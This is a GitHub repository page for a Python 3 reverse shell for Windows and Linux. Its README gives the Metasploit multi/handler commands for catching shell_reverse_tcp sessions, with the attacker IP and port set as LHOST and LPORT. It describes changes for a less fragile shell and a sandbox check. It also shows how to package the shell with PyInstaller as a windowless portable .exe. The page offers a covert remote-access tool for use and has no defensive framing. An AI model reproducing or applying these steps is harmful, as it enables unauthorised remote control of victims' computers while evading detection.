Skip to content

TacticalCheerio/Python-Windows-Reverse-Shell

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

33 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Python Reverse Shell for Windows / Linux

Reverse Shell written in Python3 - Modified version of trackmastersteve/shell

You can take advantage of post exploitation modules in Metasploit by using:

msf> use exploit/multi/handler 
msf> set PAYLOAD [linux/shell_reverse_tcp | windows/shell_reverse_tcp]
msf> set LHOST <Attacker IP>      
msf> set LPORT <Attacker Port>    
msf> set ExitOnSession false
msf> run -j

Modified for a less fragile shell and a check for sandbox

To use on Windows, create an executable using pyinstaller

python -m pip install pyinstaller
pyinstaller -wF ./reverse_shell.py

Useful PyInstaller Options:

-w removes pop up windows

-F outputs a portable .exe file in the ./dist/ folder

About

Python 3 Reverse Shell

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Python 100.0%